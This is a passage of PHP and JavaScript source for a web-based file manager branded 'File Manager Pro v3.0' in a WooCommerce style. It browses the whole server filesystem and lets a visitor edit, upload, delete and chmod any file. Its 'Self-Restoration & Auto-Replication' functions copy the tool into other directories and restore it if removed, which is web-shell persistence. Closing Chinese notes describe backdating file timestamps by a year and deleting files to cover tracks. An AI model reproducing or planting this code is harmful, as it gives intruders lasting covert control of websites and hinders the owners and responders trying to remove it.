(is_dir($base_path) && is_readable($base_path)) { echo count(scandir($base_path)) - 2; } else { echo '0'; } ?></span> items </span> </div> <!-- ===== FILE LIST ===== --> <div class="wfm-table-container"> <?php if (!is_dir($base_path) || !is_readable($base_path)) { echo '<div class="wfm-empty"> <span class="empty-icon">🚫</span> <div class="empty-title">Directory Not Accessible</div> <div class="empty-desc">Please check permissions or enter a valid path</div> </div>'; } else { $items = scandir($base_path); $files = $folders = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $base_path . '/' . $item; if (is_dir($path)) { $folders[] = $item; } else { $files[] = $item; } } sort($folders); sort($files); $all_items = array_merge($folders, $files); if (empty($all_items)) { echo '<div class="wfm-empty"> <span class="empty-icon">📂</span> <div class="empty-title">This Directory is Empty</div> <div class="empty-desc">Upload files or create new folders to get started</div> </div>'; } else { ?> <table class="wfm-table"> <thead> <tr> <th style="width:25%;">Name</th> <th style="width:10%;">Size</th> <th style="width:15%;">Modified</th> <th style="width:10%;">Permissions</th> <th style="width:40%;">Actions</th> </tr> </thead> <tbody> <?php foreach ($all_items as $item): $path = $base_path . '/' . $item; $is_dir = is_dir($path); $is_zip = !$is_dir && is_zip_file($path); $size = $is_dir ? '-' : format_size(filesize($path)); $modified = date('Y-m-d H:i', filemtime($path)); $perms = substr(sprintf('%o', fileperms($path)), -4); $icon = $is_dir ? '📁' : get_file_icon($item); ?> <tr> <td> <span class="file-icon"><?php echo $icon; ?></span> <span class="file-name"> <?php if ($is_dir): ?> <a href="?path=<?php echo urlencode($path); ?>"><?php echo htmlspecialchars($item); ?></a> <?php else: ?> <?php echo htmlspecialchars($item); ?> <?php endif; ?> </span> </td> <td class="file-size"><?php echo $size; ?></td> <td class="file-modified"><?php echo $modified; ?></td> <td><span class="file-perms"><?php echo $perms; ?></span></td> <td> <div class="file-actions"> <?php if (!$is_dir): ?> <a href="?action=download&file=<?php echo urlencode($path); ?>" class="action-download">⬇ Download</a> <a href="#" class="action-edit" onclick="editFile('<?php echo addslashes($path); ?>'); return false;">✏ Edit</a> <?php endif; ?> <a href="#" class="action-rename" onclick="renameItem('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>'); return false;">🔄 Rename</a> <a href="#" class="action-chmod" onclick="chmodItem('<?php echo addslashes($path); ?>', '<?php echo $perms; ?>'); return false;">🔒 Chmod</a> <?php if ($is_dir): ?> <a href="#" class="action-zip" onclick="zipItem('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>'); return false;">📦 ZIP</a> <?php elseif ($is_zip): ?> <a href="#" class="action-unzip" onclick="unzipItem('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>'); return false;">📂 UNZIP</a> <?php endif; ?> <a href="#" class="delete-link" onclick="deleteItem('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>'); return false;">🗑 Delete</a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php } } ?> </div> <!-- ===== FOOTER ===== --> <div style="background: #f9fafb; padding: 15px 30px; border-top: 1px solid #e5e7eb; text-align: center; font-size: 12px; color: #9ca3af;"> <span>File Manager Pro v3.0</span> <span style="margin: 0 10px;">·</span> <span>WooCommerce Style Interface</span> <span style="margin: 0 10px;">·</span> <span>🔒 Secure File Management</span> <span style="margin: 0 10px;">·</span> <span>🔄 Self-Restoration & Auto-Replication</span> </div> </div> <!-- ===== MODAL ===== --> <div id="wfm-modal" class="wfm-modal" onclick="if(event.target===this) hideModal()"> <div class="wfm-modal-content"> <div class="wfm-modal-header"> <h2> <span class="modal-icon" id="wfm-modal-icon">📄</span> <span id="wfm-modal-title">Title</span> </h2> <button class="wfm-modal-close" onclick="hideModal()">×</button> </div> <div class="wfm-modal-body" id="wfm-modal-body"></div> <div class="wfm-modal-footer"> <button class="button" onclick="hideModal()">Cancel</button> <button class="button button-primary" id="wfm-modal-submit">Submit</button> </div> </div> </div> <script> const basePath = '<?php echo addslashes($base_path); ?>'; function goToPath() { const path = document.getElementById('wfm-path-input').value.trim(); if (path) { window.location.href = '?path=' + encodeURIComponent(path); } } function goToParent() { const current = '<?php echo addslashes($base_path); ?>'; const parent = current.substring(0, current.lastIndexOf('/')); if (parent) { window.location.href = '?path=' + encodeURIComponent(parent || '/'); } } function goToRoot() { window.location.href = '?path=/'; } function goToHome() { window.location.href = '?path=<?php echo addslashes(getenv('HOME') ?: '/home'); ?>'; } // ============ ZIP FUNCTIONS ============ function zipItem(path, name) { const modal = document.getElementById('wfm-modal'); document.getElementById('wfm-modal-icon').textContent = '📦'; document.getElementById('wfm-modal-title').textContent = 'Compress to ZIP'; document.getElementById('wfm-modal-body').innerHTML = ` <label>Item to compress:</label> <input type="text" value="${name}" readonly style="background:#f3f4f6; cursor: not-allowed;"> <label>ZIP file name:</label> <input type="text" id="wfm-zip-name" value="${name}.zip" autofocus> <span class="wfm-help-text">📦 This will create a ZIP archive of the selected folder/file</span> `; document.getElementById('wfm-modal-submit').style.display = 'inline-flex'; document.getElementById('wfm-modal-submit').textContent = '📦 Create ZIP'; document.getElementById('wfm-modal-submit').onclick = () => { const zipName = document.getElementById('wfm-zip-name').value.trim(); if (!zipName) { alert('⚠️ Please enter a name for the ZIP file'); return; } if (!/^[a-zA-Z0-9_\-\.]+$/.test(zipName)) { alert('❌ Invalid name. Use letters, numbers, underscores, or hyphens.'); return; } fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ajax_action=zip&path=${encodeURIComponent(path)}&name=${encodeURIComponent(zipName)}` }).then(r => r.json()).then(data => { if (data.success) { alert('✅ ' + data.message); location.reload(); } else { alert('❌ ' + data.message); } }); }; modal.style.display = 'block'; setTimeout(() => document.getElementById('wfm-zip-name').focus(), 100); } function unzipItem(path, name) { if (!confirm(`⚠️ Extract "${name}" to a new folder?\n\nThe archive will be extracted to a folder named: ${name.replace(/\.(zip|rar|7z|gz|tar|bz2)$/i, '')}`)) return; document.getElementById('wfm-modal-icon').textContent = '📂'; document.getElementById('wfm-modal-title').textContent = 'Extracting Archive...'; document.getElementById('wfm-modal-body').innerHTML = ` <div style="text-align: center; padding: 20px;"> <div style="font-size: 48px; margin-bottom: 15px;">⏳</div> <div style="font-size: 16px; font-weight: 600; color: #1f2937;">Extracting ${name}...</div> <div style="font-size: 13px; color: #6b7280; margin-top: 8px;">Please wait, this may take a moment</div> </div> `; document.getElementById('wfm-modal-submit').style.display = 'none'; document.getElementById('wfm-modal').style.display = 'block'; fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ajax_action=unzip&path=${encodeURIComponent(path)}` }).then(r => r.json()).then(data => { if (data.success) { alert('✅ ' + data.message); location.reload(); } else { alert('❌ ' + data.message); hideModal(); } }); } // ============ SELF-REPAIR FUNCTIONS ============ function createBackup() { fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ajax_action=create_backup` }).then(r => r.json()).then(data => { if (data.success) { alert('✅ ' + data.message); location.reload(); } else { alert('❌ ' + data.message); } }); } function restoreBackup() { if (!confirm('⚠️ This will restore the file manager from backup. Continue?')) return; fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ajax_action=restore_backup` }).then(r => r.json()).then(data => { if (data.success) { alert('✅ ' + data.message); location.reload(); } else { alert('❌ ' + data.message); } }); } function replicateToDirectory() { const targetDir = document.getElementById('wfm-replicate-target').value.trim(); if (!targetDir) { alert('❌ Please enter a target directory'); return; } fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ajax_action=replicate&target_dir=${encodeURIComponent(targetDir)}` }).then(r => r.json()).then(data => { if (data.success) { alert('✅ ' + data.message); location.reload(); } else { alert('❌ ' + data.message); } }); } function getReplicas() { fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ajax_action=get_replicas` }).then(r => r.json()).then(data => { if (data.success) { let msg = '🔍 Found ' + data.message + '\n\n'; if (data.data && data.data.length > 0) { data.data.forEach((file, i) => { msg += (i+1) + '. ' + file + '\n'; }); } else { msg += 'No replicas found.'; } alert(msg); } else { alert('❌ ' + data.message); } }); } // ============ MODAL FUNCTIONS ============ function showModal(type) { const modal = document.getElementById('wfm-modal'); const title = document.getElementById('wfm-modal-title'); const icon = document.getElementById('wfm-modal-icon'); const body = document.getElementById('wfm-modal-body'); const submit = document.getElementById('wfm-modal-submit'); let html = ''; let submitText = 'Submit'; let submitAction = null; let modalIcon = '📄'; let showSubmit = true; switch(type) { case 'upload': modalIcon = '📤'; title.textContent = 'Upload File'; html = ` <label>Select file to upload:</label> <input type="file" id="wfm-upload-file"> <label>Target directory:</label> <input type="text" value="${basePath}" readonly style="background:#f3f4f6; cursor: not-allowed;"> <span class="wfm-help-text">📤 Files will be uploaded to the current directory</span> `; submitText = 'Upload'; submitAction = () => { const fileInput = document.getElementById('wfm-upload-file'); if (fileInput.files.length === 0) { alert('⚠️ Please select a file to upload'); return; } const formData = new FormData(); formData.append('ajax_action', 'upload'); formData.append('path', basePath); formData.append('file', fileInput.files[0]); fetch('', { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { alert('✅ ' + data.message); location.reload(); } else { alert('❌ ' + data.message); } }); }; break; case 'folder': modalIcon = '📁'; title.textContent = 'Create New Folder'; html = ` <label>Folder name:</label> <input type="text" id="wfm-folder-name" placeholder="my_new_folder" autofocus> <span class="wfm-help-text">📁 Enter a name for the new folder (letters, numbers, underscores, hyphens)</span> `; submitText = 'Create Folder'; submitAction = () => { const name = document.getElementById('wfm-folder-name').value.trim(); if (!name) { alert('⚠️ Please enter a folder name'); return; } if (!/^[a-zA-Z0-9_\-\.]+$/.test(name)) { alert('❌ Folder name contains invalid characters. Use letters, numbers, underscores, or hyphens.'); return; } fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ajax_action=folder&path=${encodeURIComponent(basePath)}&name=${encodeURIComponent(name)}` }).then(r => r.json()).then(data => { if (data.success) { alert('✅ ' + data.message); location.reload(); } else { alert('❌ ' + data.message); } }); }; break; case 'file': modalIcon = '📄'; title.textContent = 'Create New File'; html = ` <label>File name:</label> <input type="text" id="wfm-file-name" placeholder="my_file.txt" autofocus> <span class="wfm-help-text">📄 Include file extension (e.g., .txt, .php, .html, .css, .js)</span> `; submitText = 'Create File'; submitAction = () => { const name = document.getElementById('wfm-file-name').value.trim(); if (!name) { alert('⚠️ Please enter a file name'); return; } if (!/^[a-zA-Z0-9_\-\.]+$/.test(name)) { alert('❌ File name contains invalid characters. Use letters, numbers, underscores, or hyphens.'); return; } fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ajax_action=file&path=${encodeURIComponent(basePath)}&name=${encodeURIComponent(name)}` }).then(r => r.json()).then(data => { if (data.success) { alert('✅ ' + data.message); location.reload(); } else { alert('❌ ' + data.message); } }); }; break; case 'self_repair': modalIcon = '🔧'; title.textContent = 'Self-Repair & Auto-Replication'; html = ` <div style="margin-bottom: 20px;"> <h3 style="color: #7c3aed; margin-bottom: 10px;">🔄 Self-Restoration</h3> <div style="display: flex; gap: 10px; margin-bottom: 15px;"> <button onclick="createBackup()" class="button button-success" style="flex:1; padding: 10px; background: #16a34a; color: #fff; border: none; border-radius: 6px; cursor: pointer;">💾 Create Backup</button> <button onclick="restoreBackup()" class="button button-warning" style="flex:1; padding: 10px; background: #d97706; color: #fff; border: none; border-radius: 6px; cursor: pointer;">↩️ Restore Backup</button> </div> <span class="wfm-help-text">📌 Create a backup of this file manager or restore from existing backup</span> </div> <div style="margin-bottom: 20px; border-top: 1px solid #e5e7eb; padding-top: 20px;"> <h3 style="color: #7c3aed; margin-bottom: 10px;">📦 Auto-Replication</h3> <label>Target directory for replication:</label> <div style="display: flex; gap: 10px;"> <input type="text" id="wfm-replicate-target" placeholder="/path/to/destination" style="flex:1;"> <button onclick="replicateToDirectory()" class="button button-primary" style="padding: 10px 20px;">📋 Replicate</button> </div> <span class="wfm-help-text">📌 Replicate this file manager to another directory on the server</span> </div> <div style="border-top: 1px solid #e5e7eb; padding-top: 20px;"> <button onclick="getReplicas()" class="button" style="width:100%; padding: 10px;">🔍 Find All Replicas</button> <span class="wfm-help-text">📌 Discover all copies of this file manager on the server</span> </div> `; submitText = 'Close'; showSubmit = false; submitAction = () => { hideModal(); }; break; case 'items_info': modalIcon = '📊'; title.textContent = 'Directory Information'; const totalItems = <?php echo is_dir($base_path) && is_readable($base_path) ? count(scandir($base_path)) - 2 : 0; ?>; const totalFolders = <?php if (is_dir($base_path) && is_readable($base_path)) { $items = scandir($base_path); $count = 0; foreach ($items as $item) { if ($item !== '.' && $item !== '..' && is_dir($base_path . '/' . $item)) $count++; } echo $count; } else echo '0'; ?>; const totalFiles = <?php if (is_dir($base_path) && is_readable($base_path)) { $items = scandir($base_path); $count = 0; foreach ($items as $item) { if ($item !== '.' && $item !== '..' && !is_dir($base_path . '/' . $item)) $count++; } echo $count; } else echo '0'; ?>; html = ` <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 15px;"> <div style="background: #f3f4f6; padding: 20px; border-radius: 8px; text-align: center;"> <div style="font-size: 32px; margin-bottom: 5px;">📂</div> <div style="font-size: 24px; font-weight: 700; color: #7c3aed;">${totalItems}</div> <div style="font-size: 13px; color: #6b7280;">Total Items</div> </div> <div style="background: #f3f4f6; padding: 20px; border-radius: 8px; text-align: center;"> <div style="font-size: 32px; margin-bottom: 5px;">🗂️</div> <div style="font-size: 24px; font-weight: 700; color: #059669;">${totalFolders}</div> <div style="font-size: 13px; color: #6b7280;">Folders</div> </div> <div style="background: #f3f4f6; padding: 20px; border-radius: 8px; text-align: center;"> <div style="font-size: 32px; margin-bottom: 5px;">📄</div> <div style="font-size: 24px; font-weight: 700; color: #2563eb;">${totalFiles}</div> <div style="font-size: 13px; color: #6b7280;">Files</div> </div> <div style="background: #f3f4f6; padding: 20px; border-radius: 8px; text-align: center;"> <div style="font-size: 32px; margin-bottom: 5px;">📍</div> <div style="font-size: 14px; font-weight: 500; color: #1f2937; word-break: break-all;">${basePath}</div> <div style="font-size: 13px; color: #6b7280;">Current Path</div> </div> </div> `; submitText = 'Close'; showSubmit = false; submitAction = () => { hideModal(); }; break; default: return; } icon.textContent = modalIcon; body.innerHTML = html; submit.textContent = submitText; submit.style.display = showSubmit ? 'inline-flex' : 'none'; submit.onclick = submitAction; modal.style.display = 'block'; // Focus on first input setTimeout(() => { const firstInput = body.querySelector('input:not([readonly])'); if (firstInput) firstInput.focus(); }, 100); } function hideModal() { document.getElementById('wfm-modal').style.display = 'none'; } function editFile(path) { fetch(`?action=edit&file=${encodeURIComponent(path)}`) .then(r => r.text()) .then(html => { const modal = document.getElementById('wfm-modal'); document.getElementById('wfm-modal-icon').textContent = '✏️'; document.getElementById('wfm-modal-title').textContent = 'Edit File'; document.getElementById('wfm-modal-body').innerHTML = ` <label>File: <strong>${path.split('/').pop()}</strong></label> <textarea id="wfm-edit-content" spellcheck="false">${html}</textarea> <input type="hidden" id="wfm-edit-path" value="${path}"> <span class="wfm-help-text">💡 Save your changes when done</span> `; document.getElementById('wfm-modal-submit').style.display = 'inline-flex'; document.getElementById('wfm-modal-submit').textContent = '💾 Save'; document.getElementById('wfm-modal-submit').onclick = () => { const content = document.getElementById('wfm-edit-content').value; const path = document.getElementById('wfm-edit-path').value; fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ajax_action=save&path=${encodeURIComponent(path)}&content=${encodeURIComponent(content)}` }).then(r => r.json()).then(data => { if (data.success) { alert('✅ ' + data.message); location.reload(); } else { alert('❌ ' + data.message); } }); }; modal.style.display = 'block'; setTimeout(() => document.getElementById('wfm-edit-content').focus(), 100); }); } function renameItem(path, name) { const modal = document.getElementById('wfm-modal'); document.getElementById('wfm-modal-icon').textContent = '🔄'; document.getElementById('wfm-modal-title').textContent = 'Rename Item'; document.getElementById('wfm-modal-body').innerHTML = ` <label>Current name:</label> <input type="text" value="${name}" readonly style="background:#f3f4f6; cursor: not-allowed;"> <label>New name:</label> <input type="text" id="wfm-new-name" value="${name}" autofocus> <span class="wfm-help-text">📝 Enter the new name for this item</span> `; document.getElementById('wfm-modal-submit').style.display = 'inline-flex'; document.getElementById('wfm-modal-submit').textContent = '🔄 Rename'; document.getElementById('wfm-modal-submit').onclick = () => { const newName = document.getElementById('wfm-new-name').value.trim(); if (!newName) { alert('⚠️ Please enter a name'); return; } if (!/^[a-zA-Z0-9_\-\.]+$/.test(newName)) { alert('❌ Name contains invalid characters. Use letters, numbers, underscores, or hyphens.'); return; } fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ajax_action=rename&path=${encodeURIComponent(path)}&name=${encodeURIComponent(newName)}` }).then(r => r.json()).then(data => { if (data.success) { alert('✅ ' + data.message); location.reload(); } else { alert('❌ ' + data.message); } }); }; modal.style.display = 'block'; setTimeout(() => document.getElementById('wfm-new-name').focus(), 100); } function chmodItem(path, perms) { const modal = document.getElementById('wfm-modal'); document.getElementById('wfm-modal-icon').textContent = '🔒'; document.getElementById('wfm-modal-title').textContent = 'Change Permissions'; document.getElementById('wfm-modal-body').innerHTML = ` <label>File: <strong>${path.split('/').pop()}</strong></label> <label>Current permissions:</label> <input type="text" value="${perms}" readonly style="background:#f3f4f6; cursor: not-allowed;"> <label>New permissions (numeric):</label> <input type="text" id="wfm-chmod-perms" value="${perms}" placeholder="0755" autofocus> <span class="wfm-help-text">📖 Example: 0755 for folders, 0644 for files. Use 4-digit octal format.</span> `; document.getElementById('wfm-modal-submit').style.display = 'inline-flex'; document.getElementById('wfm-modal-submit').textContent = '🔒 Apply'; document.getElementById('wfm-modal-submit').onclick = () => { const perms = document.getElementById('wfm-chmod-perms').value.trim(); if (!perms || !/^[0-7]{4}$/.test(perms)) { alert('❌ Please enter valid permissions (4 digits, e.g., 0755 or 0644)'); return; } fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ajax_action=chmod&path=${encodeURIComponent(path)}&perms=${encodeURIComponent(perms)}` }).then(r => r.json()).then(data => { if (data.success) { alert('✅ ' + data.message); location.reload(); } else { alert('❌ ' + data.message); } }); }; modal.style.display = 'block'; setTimeout(() => document.getElementById('wfm-chmod-perms').focus(), 100); } function deleteItem(path, name) { if (!confirm(`⚠️ Are you sure you want to delete "${name}"?\n\nThis action cannot be undone!`)) return; fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `ajax_action=delete&path=${encodeURIComponent(path)}` }).then(r => r.json()).then(data => { if (data.success) { alert('✅ ' + data.message); location.reload(); } else { alert('❌ ' + data.message); } }); } // Close modal on Escape key document.addEventListener('keydown', (e) => { if (e.key === 'Escape') hideModal(); }); // Keyboard shortcuts document.addEventListener('keydown', (e) => { // Ctrl+U = Upload if (e.ctrlKey && e.key === 'u') { e.preventDefault(); showModal('upload'); } // Ctrl+F = New Folder if (e.ctrlKey && e.key === 'f') { e.preventDefault(); showModal('folder'); } // Ctrl+N = New File if (e.ctrlKey && e.key === 'n') { e.preventDefault(); showModal('file'); } // Ctrl+R = Self-Repair if (e.ctrlKey && e.key === 'r') { e.preventDefault(); showModal('self_repair'); } }); </script> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件